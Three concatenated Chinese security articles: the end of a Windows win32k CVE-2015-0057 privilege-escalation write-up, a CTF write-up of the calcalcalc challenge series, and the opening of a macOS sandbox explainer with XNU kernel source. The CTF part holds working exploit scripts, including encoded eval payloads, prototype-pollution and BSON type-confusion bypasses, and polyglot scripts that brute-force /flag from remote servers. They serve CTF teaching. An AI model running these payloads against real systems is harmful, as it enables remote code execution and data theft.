那么我是不是能够通过模仿`__debugbreak`的行为来绕过死锁呢. 我一开始选取了for循环, 但是在vs 万恶的优化下, 自动帮我去掉了,
所以我最后选取了`Sleep(5000)`函数, 成功的帮我绕过了死锁.
### win32k tips总结.
首先, 这一部分只算是我自己的想法. 所以不算是教科书般的定义… 所以请把他当作是一种讨论, 不要当作教条.
#### 关于逆向代码
`win32k`是一个很大很大的东西, 也就是说, 就算给了你源代码写了详细的注释, 可能你都得花一辈子的时间去理解阅读,
估计是比等名侦探柯南完结更久的时间. 所以, 尽量少去静态逆向`win32k`的代码. 很多时候, 动态调试能帮你省去很多时间. 我自己做的过程中,
必须需要逆向的代码, 体现在漏洞触发的时候, 我需要理解代码如何才能抵达漏洞触发的那个点的位置. 基于这种情况下. 一般的有用的资料是.
[+] RectOS: 一个开源项目, 仿照写windows NT
[+] windows NT 4.0: windows NT源码泄露的版本, github能搜到.
[+] 汇编代码: 通过阅读汇编代码进行调试分析, 分析关键处寄存器内存等的值.
说到底, 我只是想写提权而已. 每一年都有无数个win32k漏洞被爆出来, 每次的漏洞的函数都不一样, 存在很大的可能性, 在你一年之后,
回想一年前的代码你已经忘记的干干净净了. 所以, 纠结于这个函数到底干嘛, 这个结构体到底在干嘛, 我觉得并不一定是合适. 相反, 与我而言. 更重要的是.
[+] 我拿到一个POC ==> 能定位到关键代码么
[+] 定位到关键代码之后 ==> 我能确定我要利用的是哪一个部分么.
[+] 知道利用的点之后 ==> 我知道哪里找资料获取相关的信息抵达这个利用点么.
拥有能力我觉得是比使用能力更重要的事. 因为如果你有能力, 剩下的过程不过是循环往复, 调试改正. 这样.
#### 关于windows内核提权exp的编写.
可能看了上面的东西你有点小小的难受, SMEP, heap cookie… 这都啥啥啥…. 但是一个好消息. 如果你阅读完全文之后, 你会发现.
其实大多数是依赖于操作系统. 和你此次的利用哪一个漏洞代码其实无关. 也就是说, 这一部分的东西, 你只要学习一次就好. 我觉得这是一个很好的消息.
意味着,如果你是一个懒惰的人, 大可以翻翻有没有开源的库, 别人已经编写好的代码直接用就好了. 类似于这样.
#include "exploit_wjllz.h"
int main()
{
SmepBypass(); //SMEP绕过
exploit();
}
但是我们都做到内核来了, 了解原理可能是基于习惯吧… 所以前面浪费了大多数的篇幅.
另外一个方面, 在我exp的开发过程中, 大多数时候都借用了调试器和虚拟机的特性.
[+] windbg: 可以帮我模拟SMEP绕过. heap cookie, write_what_where
[+] 虚拟机镜像: 可以帮我模拟绕过KASLR
也就是, 我可以通过这个来先验证自己的思路对不对, 剩下的知识都是死知识, 不断地去补充调试就好了.
#### 关于windows内核win32k
win32k的漏洞的本质(我认为的), 因为自己也是学习的过程, 所以只能给出探讨, 无法给出结论. 希望你不要介意.
[+] user callback
这个地方一直是我师父给我讲的, 开发者假设和攻击者假设的区别.
[+] 开发者假设: 我的内核数据很重要, 最好全部由我来管理. 外部的数据只能通过我提供的接口来进行相应的修改.
[+] 攻击者假设: 基于某种可能, 我能够利用user callback的函数, 使本来应该运行在内核中的程序流. 回到我的callback. 在这里, 我能依据漏洞点. 修改数据. 突破开发者假设.
### 实验结果验证
如下:
### 相关链接
* sakura师傅博客: <http://eternalsakura13.com/>
* 小刀师傅的博客: <https://xiaodaozhi.com/>
* 我的博客: <http://www.redog.me/>
* 本文exp地址: <https://github.com/redogwu/blog_exp_win_kernel/blob/master/cve_2015_0057_exp.zip>
* ncc gruop: <https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/july/exploiting-the-win32kxxxenablewndsbarrows-use-after-free-cve-2015-0057-bug-on-both-32-bit-and-64-bit-tldr/>
* cve-2015-0057: <http://hdwsec.fr/blog/20151217-ms15-010/>
* keenjoy98老师: <https://www.blackhat.com/docs/asia-16/materials/asia-16-Wang-A-New-CVE-2015-0057-Exploit-Technology-wp.pdf>
* smep绕过: <https://www.secureauth.com/labs/publications/windows-smep-bypass-us>
* * * | 社区文章 |
刚好回家过情人节，闲着无事最后半天登录攻防世界参加了 2019 Delta CTF。Web 题目总体难度不大，SSRF、shellshellshel l
等都是非常基础的操作。因为不太熟悉 Typescript 和 BSON 就没能解出 9calc
题目。虽然已经感觉到题目中如果括号的可能方法，但是一直没能找到正确的利用姿势。
9 calc 是一道拟态防御的题目，也是改编之前 RCTF 的 calcalcalc 和 0CTF 的
114514calcalcalc，所以刚好借着这个机会把这系列题目总结一遍！
正确分析这些题目的姿势，需要 VScode 和 Beyond Compare 做文件对比！
### 基础概念
在开始研究三道拟态防御系列题目前，首先介绍一些基础概念：
网络拟态防御
[网络空间拟态防御](https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E6%8
B%9F%E6%80%81%E9%98%B2%E5%BE%A1/20288376)（Cyber Mimic Defense，CMD）
>
> 类似于生物界的拟态防御，在网络空间防御领域，在目标对象给定服务功能和性能不变前提下，其内部架构、冗余资源、运行机制、核心算法、异常表现等环境因素，以及可能附着其上的未知漏洞后门或木马病毒等都可以做策略性的时空变化，从而对攻击者呈现出“似是而非”的场景，以此扰乱攻击链的构造和生效过程，使攻击成功的代价倍增。
>
> CMD
> 在技术上以融合多种主动防御要素为宗旨：以异构性、多样或多元性改变目标系统的相似性、单一性；以动态性、随机性改变目标系统的静态性、确定性；以异构冗余多模裁决机制识别和屏蔽未知缺陷与未明威胁；以高可靠性架构增强目标系统服务功能的柔韧性或弹性；以系统的视在不确定属性防御或拒止针对目标系统的不确定性威胁。
>
> 以目前的研究进展，研究者是基于动态异构冗余（Dynamic Heterogeneous
> Redundancy,DHR）架构一体化技术架构集约化地实现上述目标的。
BSON 是一种类 json 的一种二进制形式的存储格式，简称 Binary JSON，它和 JSON 一样，支持内嵌的文档对象和数组对象，但是 BSON
有 JSON 没有的一些数据类型，如 Date 和 BinData 类型。
MongoDB 使用了 BSON 这种结构来存储数据和网络数据交换。把这种格式转化成一文档这个概念 (Document)，因为 BSON 是 schema-free 的，所以在 MongoDB 中所对应的文档也有这个特征，这里的一个 Document 也可以理解成关系数据库中的一条记录
(Record)，只是这里的 Document 的变化更丰富一些，如 Document 可以嵌套。
MongoDB 以 BSON 做为其存储结构的一种重要原因是其可遍历性。
### 2019 RCTF calcalcalc
本题提供前后端源码，下载源码，发现 frontend 是 nest.js + express 网站。分析整个程序的逻辑：
* 用户提交的输入只能包括 0-9 以及 a-z，加减乘除，空格，括号，同时检查输入长度
if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {
return false;
}
return true;
* 有 3 个后端决策器，分别是 php、node 和 python 执行表达式，3 个决策器会对输入进行运算，只有当 3 个决策器返回的结果一致时，才会输出结果。
`app.controller.ts`
const set = new Set(jsonResponses.map(p => JSON.stringify(p)));
this.logger.log(`Expression = ${JSON.stringify(calculateModel.expression)}`);
this.logger.log('Ret = ' + JSON.stringify(jsonResponses));
if (set.size === 1) {
const rand = Math.floor(Math.random() * responses.length);
Object.keys(responses[rand].headers).forEach((key) => {
res.setHeader(key, responses[rand].headers[key]);
});
res.json(jsonResponses[rand]);
res.end();
} else {
res.end('That\'s classified information. - Asahina Mikuru');
}
审计 `calculate.model.ts` 源码，所有的用户输入都会在进入 controller 前都会被 `ExpressionValidator`
验证：
import {ValidateIf, IsNotEmpty, MaxLength, Matches, IsBoolean} from 'class-validator';
import { ExpressionValidator } from './expression.validator';
export default class CalculateModel {
@IsNotEmpty()
@ExpressionValidator(15, {
message: 'Invalid input',
})
public readonly expression: string;
@IsBoolean()
public readonly isVip: boolean = false;
}
继续审计 `ExpressionValidator` 代码，核心部分如下：
validator: {
validate(value: any, args: ValidationArguments) {
const str = value ? value.toString() : '';
if (str.length === 0) {
return false;
}
if (!(args.object as CalculateModel).isVip) {
if (str.length >= args.constraints[0]) {
return false;
}
}
if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {
return false;
}
return true;
},
用户输入的长度不能超过 15 个字节，但是如果 `isVip === true` 就不会进行长度验证，所以第一步想办法让 args.object 的
`isVip` 变为 True
阅读 `class-validator` 源码：
<https://github.com/typestack/class-validator/blob/58a33e02fb5e77dde19ba5ca8de2197c9bc127e9/src/validation/Validator.ts#L323>
return value instanceof Boolean || typeof value === "boolean";
非常遗憾，netstjs 不会自动把 'true' 转换成 true （不像 Spring），所以直接添加 `isVip=True` 是不行的。但是
Nestjs + expressjs 支持 json 作为提交的 body：
<https://github.com/nestjs/nest/blob/205d73721402fb508ce63d7f71bc2a5584a2f4b6/packages/platform-express/adapters/express-adapter.ts#L125>
const parserMiddleware = {
jsonParser: bodyParser.json(),
urlencodedParser: bodyParser.urlencoded({ extended: true }),
};
直接这么绕过：
Content-Type: application/json
{"expression":"MORE_THAN_15_BYTES_STRING", "isVip": true}
本题的一个非预期解，即利用时间盲注，虽然三个表达式无法计算出相同的结果，但是利用 python 后端执行的时间可以猜解 flag 文件。注意本题的三个后端
docker 共享同一个 flag 文件：
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(116)+chr(105)+chr(109)+chr(101)+chr(39)+chr(41)+chr(46)+chr(115)+chr(108)+chr(101)+chr(101)+chr(112)+chr(40)+chr(51)+chr(41)+chr(32)+chr(105)+chr(102)+chr(32)+chr(111)+chr(114)+chr(100)+chr(40)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(39)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(39)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(91)+chr(51)+chr(93)+chr(41)+chr(32)+chr(62)+chr(32)+chr(54)+chr(55)+chr(32)+chr(101)+chr(108)+chr(115)+chr(101)+chr(32)+chr(78)+chr(111)+chr(110)+chr(101))
作用：
__import__('time').sleep(3) if ord(open('/flag').read()[3]) > 67 else None
爆破脚本：
# -*- coding:utf-8 -*- import requests
import json
import string
header = {
"Content-Type":"application/json"}
url = "http://x.x.x.x:50004/calculate"
def foo(payload):
return "+".join(["chr(%d)"%ord(x) for x in payload])
flag = ''
for i in range(20):
for j in string.letters + string.digits + '{_}':
exp = "__import__('time').sleep(3) if open('/flag').read()[%d]=='%s' else 1"%(i,j)
data = {
"expression": "eval(" + foo(exp) + ")",
"isVip":True
}
try:
r = requests.post(headers=header,url=url,data=json.dumps(data),timeout=2)
#print r.elapsed
except:
flag += j
print "[+] flag:",flag
break
参考：
<https://xz.aliyun.com/t/5532>
<https://github.com/zsxsoft/my-ctf-challenges/blob/master/calcalcalc-family/readme.md>
### 0CTF 2019 114514calcalcalc
题目是在 RCTF2019 CALCALCALC 的基础上出的，相较于 RCTF 的题目，主要的变化有三个 :
* 修复了时间盲注
* 将 BSON 换为了 JSON
* 添加了计算表达式的限制
第一步仍然是长度的限制，和 RCTF calcalcalc 解法一样。
但是本题修复了时间盲注，并使用 JSON 替换了 BSON，`app.controller.ts` 源码比较（左边是 RCTF，右边是 0CTF）：
在 `expression.validator.ts` 模块中替换了一个正则表达式验证：
这个模块的 str 赋值语句 :
const str = value ? value.toString() : '';
传递的 value 可以是 any 类型，这里利用的是 JSON **原型链污染攻击** ，方式是：
{"expression":"1+1","__proto__":{"b":"114+514"}}
原型链污染发生的原因：
> read the src of nestJS, class-transformer to convert json to a target class,
> but didn’t strip **proto**
这里的污染利用还有二种：
{"__proto__":{"constructor":null},"expression":"5278123+1", "isVip":true}
{"__proto__":{},"expression":"5278123+1", "isVip":true}
> 但是为什么原型链污染能够使得 str 为 "114+514" **????** 难道是 `expression.validator.ts`
> 代码逻辑会遍历 Object 属性，只要有一个满足就返回 True?
在题目中，会将我们 `expression` 的数据分别传输至 `node`、`php`、`python`
三种后端去计算结果，当返回结果一致时，才输出结果，如果结果不一致，则输出 :`That's classified information. -Asahina Mikuru`
因此接下来需要找到一个能够同时在三种后端中生效的 `Payload`，这里我们可以使用注释来同时攻击 `python` 与 `php`，再通过
`对大整数的不同解析` 攻击 `node`。先给出 Exploit:
import requests
import json
import string
def brute(pos, val):
data = """{"expression":"1//len('''\\n;if([1,0][10000000000000001 - 10000000000000000]){if(require('fs').readFileSync('/flag', 'utf8')[%d]=='%s'){'1';}else{'';} }else{1;}//''') or ['','1'][open('/flag').read()[%d]=='%s']","__proto__":{"b": "114+514"},"isVip": true}""" % (pos, val, pos, val)
r = requests.post("http://192.168.201.16/calculate", data=data, headers = {'Content-Type': 'application/json'})
return r.text
# print(data)
flag = ''
for i in range(100):
for c in string.printable:
if ("ret" in brute(i, c)):
flag += c
print(flag)
break
先将构造思路中的两个点拆开来说 :
1. 大整数的不同解析
2. 对注释的不同解析
##### 对大整数的不同解析
在 node 中，由于其不支持大整数，因此在计算 `10000000000000001 - 10000000000000000` 时，会返回 `0`，而在
php 和 python 中，则能够解析这两者，因此会返回 `1`，这里便可以通过 `10000000000000001 -10000000000000000` 的值来判断执行的语句，对应到我们的 payload 中便是 :
if([1,0][10000000000000001 - 10000000000000000]{
...
node
...
}else{
// comment
}
##### 对注释的不同解析
有关于这一点，将我们的 payload 放入 python 和 php 的语法高亮规则中便能理解。
Python 3:
open('/flag').read() + str(1//5) or ''' #
)//?>
function open(){return {read:()=>require('fs').readFileSync('/flag','utf-8')}}function str(){return 0}/*<?php
function open(){echo json_encode(['ret' => file_get_contents('/flag').'0']);exit;}?>*///'''
PHP:
return open('/flag').read() + str(1//5) or ''' #
)//?>function open(){return {read:()=>require('fs').readFileSync('/flag','utf-8')}}function str(){return 0}/*<?php
function open(){echo json_encode(['ret' => file_get_contents('/flag').'0']);exit;}?>*///''';
Nodejs:
open('/flag').read() + str(1//5) or ''' #
)//?>
function open(){return {read:()=>require('fs').readFileSync('/flag','utf-8')}}function str(){return 0}/*<?php
function open(){echo json_encode(['ret' => file_get_contents('/flag').'0']);exit;}?>*///'''
出题人心得：
> Polyglot time.
>
> In RCTF2018, we released `cats` and `cats Rev.2`, you can name this
> challenge as `cats Rev.3`. A new defense technology Cyber Mimic Defense
> (CMD) was proposed in 2018. We think it is interesting to create a polyglot
> challenge based on this idea. So it's polyglot time now.
参考：
<https://meizjm3i.github.io/2019/06/11/0CTF-TCTF-2019-Web-Writeup/>
<https://github.com/zsxsoft/my-ctf-challenges/blob/master/calcalcalc-family/readme.md>
<https://balsn.tw/ctf_writeup/20190608-0ctf_tctf2019finals/#114514-calcalcalc>
另一种思路：
<http://momomoxiaoxi.com/ctf/2019/06/11/TCTFfinal/#114514-calcalcalc>
> 还一个思路是，python docker 非常的脆弱，可以通过多进程阻塞打死 python，使其重启，永远 timeout。
>
> node 很容易超时，所以接下来只需要通过 php 来进行获得数据就可以了。
>
> 当 php 超时时，返回 timeout。不超时时，返回 Asahina Mikuru。
### 2019 De1 ta ctf 9calc
同样，和 2019 RCTF 文件对比，主要的改变有下面几点：
* 修复了时间盲注
* 正则表达式改动，不允许用户输入括号
注意本题仍然使用 BSON 传递数据，而不是 0CTF 的 JSON
第一步长度绕过和之前的一样。本题的难点就是如何绕过正则检测不允许有空格：
TypeScrit 虽然是强类型语言，但是由于其设计与 Javascript 有关，所有的类型定义在运行的时候会移除，因此 `expression:
string` 我们可以不管，仍然给 expression 传递一个对象 Object。
但是 `object.toString() === '[object Object]'`，测试代码如下：
var a = {};
var b = {name:"ZS"};
console.log(typeof a);//object
console.log(a.toString());//[object Object]
console.log(a.toString() === b.toString());//true 说明返回值是一样的
console.log(b);//Object {name: "ZS"}
这样正则表达式检查 `str`（值为 `'[object Object]'`）是可以通过的。但是我们没有办法让 `object.toString()`
become a useful runnable code。如果前端和后端通过 JSON 进行通信，那这题就真的没办法了，但是
> 我们知道 Nodejs 可以将 JavaScript 函数传递给 MongoDB，而 MongoDB 没有在 JSON 标准中定义。因此他们引入了
> BSON 作为他们的数据交换格式。
幸运的是，我们可以在 javascript 中将对象序列化成 BSON。
审计 `mongodb/js-bson` 的序列化代码 , 可以发现程序会根据 `Object[_bsontype]` 判断类的类型而不是
`instanceof`.
<https://github.com/mongodb/js-bson/blob/master/lib/parser/serializer.js#L756>
} else if (value['_bsontype'] === 'Binary') {
index = serializeBinary(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'Symbol') {
index = serializeSymbol(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'DBRef') {
通过搜索，发现 `Symbol` 类型在 BSON 反序列化得到之后，如果进行 `Symbol.toString()` 会返回 symbol 对象的
value 值，一个示例如下：
{"expression":{"value":"1+1","_bsontype":"Symbol"}, "isVip": true}
**我的总结** ：绕过括号检测的核心原理是，expression 的值在正则检验的时候是通过 `toString` 转换为字符串，因此对象转的结果是
`'[object Object]'` 可以绕过正则检测。但是传递到后端是通过 bson 的序列化和反序列化之后转换为字符串，这时候对象的
_bsontype 如果是 Symbol，会返回这对象的 value 属性值。
虽然本题的三个 flag 都不一样，但是仍然可以利用回显的差异猜解 flag 文件（类似 bool 注入）。最终的 EXP 利用步骤：
* 分别针对三个后端构造三种 payload
* 每个 payload 的功能是（以 nodejs 的为例）：让 python 和 php 后端解析返回的 ret 值都为 1，但是 nodejs 会进行一个 flag 字符猜解，如果等于则让 ret 为 1，如果不等于则让 ret 为 0。其他二个 payload 同理。
EXP 发送的某一次 payload 示例（\n 按照回车输出）
1 + 0//5 or '''
//?>
require('fs').readFileSync('/flag','utf-8')[5] == 'b' ? 1 : 2;/*<?php
function open(){echo MongoDB\BSON\fromPHP(['ret' => '1']);exit;}?>*///'''
EXP 如下：
* 需要使用 `yarn add axios` 命令安装好 _Axios_ ——是一个基于 promise 的 HTTP 库。
const axios = require('axios')
const url = 'http://45.77.242.16/calculate'
const symbols = '0123456789abcdefghijklmnopqrstuvwxyz{}_'.split('')
const payloads = [
// Nodejs
`1 + 0//5 or '''\n//?>\nrequire('fs').readFileSync('/flag','utf-8')[{index}] == '{symbol}' ? 1 : 2;/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`,
// Python
`(open('/flag').read()[{index}] == '{symbol}') + (str(1//5) == 0) or 2 or ''' #\n))//?>\nfunction open(){return {read:()=>'{flag}'}}function str(){return 0}/*<?php\nfunction open(){echo MongoDB\\BSON\\fromPHP(['ret' => '1']);exit;}?>*///'''`,
// PHP
`len('1') + 0//5 or '''\n//?>\n1;function len(){return 1}/*<?php\nfunction len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[{index}] == '{symbol}' ? "1" : "2"]);exit;}?>*///'''`,
]
const rets = []
const checkAnswer = (value) => axios.post(url, {
expression: {
value,
_bsontype: "Symbol"
},
isVip: true
}).then(p => p.data.ret === '1').catch(e => {})
const fn = async () => {
for (let j = 0; j < payloads.length; j++) {
const payload = payloads[j]
let flag = ''
let index = 0
while (true) {
for (let i = 0; i < symbols.length; i++) {
const ret = await checkAnswer(payload.replace(/\{flag\}/g, flag + symbols[i]).replace(/\{symbol\}/g, symbols[i]).replace(/\{index\}/g, index))
if (ret) {
flag += symbols[i]
console.log(symbols[i])
i = 0
index++
}
}
break
}
rets.push(flag)
console.log(rets)
}
}
fn().then(p => {
console.log(rets.join(''))
})
参考：
<https://github.com/zsxsoft/my-ctf-challenges/blob/master/calcalcalc-family/readme.md> | 社区文章 |
众所周知，macOS的沙盒一直是一个神秘的东西，我喜欢利用各种工具并从Jonathan Levin的《*OS
Internals》等参考书再或者苹果官方自己都不太清楚的文档中收集的知识来分析它。苹果的安全机制并不是最好的，这不是什么新鲜事。沙盒技术有很长的历史，macOS的用户被沙盒保护已经有很长一段时间了，随着时间的推移，沙盒变得越来越强大。苹果一直在尽其所能加强其操作系统中的沙盒和其他许多安全机制，下面就让我们一起深入了解一下macOS沙盒的神奇之处。
### 0x01 背景
苹果首次使用沙盒技术是在其OS X
10.5(Leopard)中，它被称为“SeatBelt”（安全带）。正如这个词语的意思一样，它就像在汽车旅行中为了安全而系上安全带一样，强制开发人员在应用程序上使用沙盒技术，以限制其对系统的访问。正如你想象的那样，没有多少开发者会这样做，而且由于“安全带”的最初概念是自愿限制，所以苹果也做不了什么。结合`MandatoryAccessControl
(MAC)Framework`，沙盒的想法肯定不错，但离成功还很远。MACF框架是苹果设备的整个安全模型构建的基础。
在OS X 10.7中，苹果公司吸取了OS X
10.5的教训，沙盒现在已经不再任由开发人员在应用程序上是否使用，默认情况下是强制执行的。即使是今天在macOS
Mojave上，苹果仍然强制使用沙盒，基于应用程序拥有的权限（`com.apple.security.app-sandbox`）。如果应用程序具有此权限，它将被放置在沙盒中，而不是考虑开发人员的意愿。也就是说，在新系统中开发者的意见是没有意义的，因为上传到Appstore的程序是由苹果公司签名的，在签名过程中，苹果公司在程序上授予沙盒权限，从而迫使所有Appstore中的程序沙盒化。
需要注意的是，与iOS的沙盒相比，macOS更容易操作。在iOS上，第三方程序均不可能逃脱沙盒，除非你使用沙盒逃逸技术，而大多数这种情况下是由内核漏洞或沙盒漏洞导致的（越狱）。所有第三方程序，不管它是从哪里安装的，都放在`/var/mobile/containers`和`/var/containers`两目录中。从ios8开始，这些目录发生了很大的变化，创建了新的文件夹，移动了程序资源，静态数据和运行时数据分离，所以在旧的iOS上，你可以找到安装在`/var/mobile/Applications`甚至`/var/mobile/
containers/bundl
/`中的程序。任何在`/var/`中的东西都要被沙盒化，因为你不能直接在其他地方安装你的程序，除非你越狱了。在macOS上，只有Appstore中的程序是沙盒的。如果你从开发人员网站直接下载DMG镜像中的程序，那么它很可能不受沙盒限制。
### 0x02 工作原理
沙盒的唯一目的是限制程序访问系统的各种资源，比如系统调用、文件或任何东西，这是为了恶意程序肆意破坏系统。在iOS上，我可以骗你安装一个恶意的程序，但这个做法是是毫无意义的，除非我有内核或沙箱逃脱的漏洞(越狱)，否则程序不会对你的设备造成很大的伤害（比如：删除你的手机里的一些重要文件）。iOS沙盒和其他保护措施会一起防止未经授权的访问，所以程序只能访问它自己的容器内的资源，并不能造成很大的破坏。同样的道理也适用于macOS应用商店的应用程序，但不适用于DMG格式的程序，因为DMG格式可能没有沙盒。
沙盒实际上是一项非常好的技术，这也就是为什么它一直沿用到今天的原因。假如你在Windows上打开了一个从非法来源上下载的恶意程序，而该程序若想删除`System32`目录或其他重要文件，这是完全可以实现的。因为Windows上没有沙盒，需要使用到管理员权限的资源的地方，只需要欺骗用户点击允许管理员权限运行即可。
苹果官方说过:沙盒是一种在内核层面强制实施的访问控制技术(在内核层面，用户或任何受到损害的程序通常都无法控制)。沙盒可以确保它拦截沙盒程序执行的所有操作，并禁止访问程序没有访问权限的资源。
在macOS上，沙箱本身不是单个文件或单个进程，它被分割成多个组件，比如位于`/usr/libexec/sandboxd`目录中的`userland
daemon`，这是`com.apple.security.sandbox`是`kext (Kernel
Extension)`，还有依赖于`AppContainer.Framework`的`AppSandbox`私有框架。正如你所见，多个组件一起工作来实现本文所诉的程序沙箱。
在终端中运行`kextstat | grep“sand”`命令，可以看到macOS上的kext处于活动状态。
Isabella:/ geosn0w$ kextstat | grep "sand"
381 0xffffff7f811a3000 0x210000x21000com.apple.security.sandbox (300.0) BDFF700A-6746-3643-A0A1-852628695B04 <37 30 18 7 6 5 4 3 2 1>
Isabella:/ geosn0w$
沙箱是多个MACF策略模块之一。AMFI (Apple Mobile File Integrity)的协同设计是另一个模块。
### 0x03 测试:根据授权决定macOS上的应用程序是否沙盒化
正如之前所提到的，该应用被沙盒化的一个明显迹象是应用程序二进制文件中是否需要`com.apple.security.app-sandbox`权限。我们可以使用很多工具检查macOS上的权限，利用Jonathan Levin的`jtool`这个工具，运行命令`./jtool--ent
/Applications/AppName.`在终端app中，我们可以看到程序所拥有的全部权限。以iHex为例，Appstore中的只需要OpenBoardView权限。DMG格式如下：
在终端中运行该命令会得到以下iHex结果:
需要注意的是，权限是存在的，并且密钥被设置为`true`，此程序将被沙盒化。现在，正如你所见，这些权利是以类似于XML的格式列出的，它们实际上位于
`.PLIST or Property List` 文件中，而属性列表文件只不过是美化的XML。PLISTs可以采用二进制格式，可以使用命令`plutil
-convert xml1 -o`将其转换为可读的格式。
使用`Jtool`可以替换程序的权限，但之后需要对程序进行伪造签名。总之，这是一种解除macOS应用程序沙盒的方法。这在iOS上并不容易做到，因为沙盒是基于应用程序的安装位置，而不是基于安装权限。
现在让我们来看看OpenBoardView，这是一款未从App Store下载的应用程序。
如你所见，程序没有任何权限。它不会被沙盒化，这意味着它可以比任何应用程序商店应用程序访问更多的源代码。
`com.apple.security.app-sandbox` 的权限并不是iHEX开发人员自己添加的,它是由苹果官方在App
Store审核的过程中自动添加的。
另一种检查程序是否被沙盒化的方法是运行`asctl sandbox check --pid XYZ`命令，其中XYZ是程序的`PID(Process
ID)`。可以从macOS上的`Activity Monitor`程序获得正在运行的进程的`PID`。下面是`asctl`命令的输出。
### 0x04 执行流程
进入沙盒容器中，也就是放置在`$HOME/Library/Containers/`上的文件夹。此文件夹是为任何沙盒程序创建的，而不管实际二进制文件安装在何处。文件夹遵循简单的结构，但最重要的是，它包含一个`Container.Plist`文件，其中包含有关其容器(由其`CFBundleIdentifier`标识)、`SandboxProfileData、SandboxProfileDataValidationInfo`和`Version`的应用程序的信息。
找到iHEX 的 `Container` ，将目录切到上面提到的路径，然后运行`ls -lF
com.hewbo.hexeditor`。`com.hewbo.hexeditor`是iHex的`CFBundleIndentifier`(在.app文件夹中可以找到`Info.Plist`)。
可以看到app的容器包含一个`Data`文件夹和前面提到的`Container.Plist`文件。数据文件夹非常有趣，如果将目录切到它，可以看到它模拟了用户的主目录。当然，所有这些都是严格控制的符号链接，该控制由沙盒容器强制执行。`Container.plist`包含`SandboxProfileDataValidationRedirectablePathsKey`，它指定哪些符号链接被批准。
### 0x05 沙盒化
在内部启动应用程序时，内核将调用`mac_execve`函数，可以在`XNU`源代码中看到。`__mac_execve`几乎会加载二进制文件，但它也会检查`MAC
label`，看看是否应该强制执行沙箱。
/*
* __mac_execve
*
* Parameters: uap->fname File name to exec
* uap->argp Argument list
* uap->envp Environment list
* uap->mac_p MAC label supplied by caller
*
* Returns: 0 Success
* EINVAL Invalid argument
* ENOTSUP Not supported
* ENOEXEC Executable file format error
* exec_activate_image:EINVAL Invalid argument
* exec_activate_image:EACCES Permission denied
* exec_activate_image:EINTR Interrupted function
* exec_activate_image:ENOMEM Not enough space
* exec_activate_image:EFAULT Bad address
* exec_activate_image:ENAMETOOLONG Filename too long
* exec_activate_image:ENOEXEC Executable file format error
* exec_activate_image:ETXTBSY Text file busy [misuse of error code]
* exec_activate_image:EBADEXEC The executable is corrupt/unknown
* exec_activate_image:???
* mac_execve_enter:???
*
* TODO: Dynamic linker header address on stack is copied via suword()
*/
int
__mac_execve(proc_t p, struct __mac_execve_args *uap, int32_t *retval)
{
char *bufp = NULL;
struct image_params *imgp;
struct vnode_attr *vap;
struct vnode_attr *origvap;
int error;
char alt_p_comm[sizeof(p->p_comm)] = {0}; /* for PowerPC */
int is_64 = IS_64BIT_PROCESS(p);
struct vfs_context context;
context.vc_thread = current_thread();
context.vc_ucred = kauth_cred_proc_ref(p); /* XXX must NOT be kauth_cred_get() */
/* Allocate a big chunk for locals instead of using stack since these
* structures a pretty big.
*/
MALLOC(bufp, char *, (sizeof(*imgp) + sizeof(*vap) + sizeof(*origvap)), M_TEMP, M_WAITOK | M_ZERO);
imgp = (struct image_params *) bufp;
if (bufp == NULL) {
error = ENOMEM;
goto exit_with_error;
}
vap = (struct vnode_attr *) (bufp + sizeof(*imgp));
origvap = (struct vnode_attr *) (bufp + sizeof(*imgp) + sizeof(*vap));
/* Initialize the common data in the image_params structure */
imgp->ip_user_fname = uap->fname;
imgp->ip_user_argv = uap->argp;
imgp->ip_user_envv = uap->envp;
imgp->ip_vattr = vap;
imgp->ip_origvattr = origvap;
imgp->ip_vfs_context = &context;
imgp->ip_flags = (is_64 ? IMGPF_WAS_64BIT : IMGPF_NONE) | ((p->p_flag & P_DISABLE_ASLR) ? IMGPF_DISABLE_ASLR : IMGPF_NONE);
imgp->ip_p_comm = alt_p_comm; /* for PowerPC */
imgp->ip_seg = (is_64 ? UIO_USERSPACE64 : UIO_USERSPACE32);
#if CONFIG_MACF
if (uap->mac_p != USER_ADDR_NULL) {
error = mac_execve_enter(uap->mac_p, imgp);
if (error) {
kauth_cred_unref(&context.vc_ucred);
goto exit_with_error;
}
}
#endif
error = exec_activate_image(imgp);
kauth_cred_unref(&context.vc_ucred);
/* Image not claimed by any activator? */
if (error == -1)
error = ENOEXEC;
if (error == 0) {
exec_resettextvp(p, imgp);
error = check_for_signature(p, imgp);
}
if (imgp->ip_vp != NULLVP)
vnode_put(imgp->ip_vp);
if (imgp->ip_strings)
execargs_free(imgp);
#if CONFIG_MACF
if (imgp->ip_execlabelp)
mac_cred_label_free(imgp->ip_execlabelp);
if (imgp->ip_scriptlabelp)
mac_vnode_label_free(imgp->ip_scriptlabelp);
#endif
if (!error) {
struct uthread *uthread;
/* Sever any extant thread affinity */
thread_affinity_exec(current_thread());
DTRACE_PROC(exec__success);
uthread = get_bsdthread_info(current_thread());
if (uthread->uu_flag & UT_VFORK) {
vfork_return(p, retval, p->p_pid);
(void)thread_resume(imgp->ip_new_thread);
}
} else {
DTRACE_PROC1(exec__failure, int, error);
}
exit_with_error:
if (bufp != NULL) {
FREE(bufp, M_TEMP);
}
return(error);
}
